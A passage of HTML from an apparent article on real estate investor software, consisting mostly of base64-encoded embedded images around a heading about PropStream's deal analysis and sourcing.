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" width="255px" alt="best bookkeeping software for real estate investors"/></p>
<p><h2>PropStream: Deal analysis and sourcing</h2>
</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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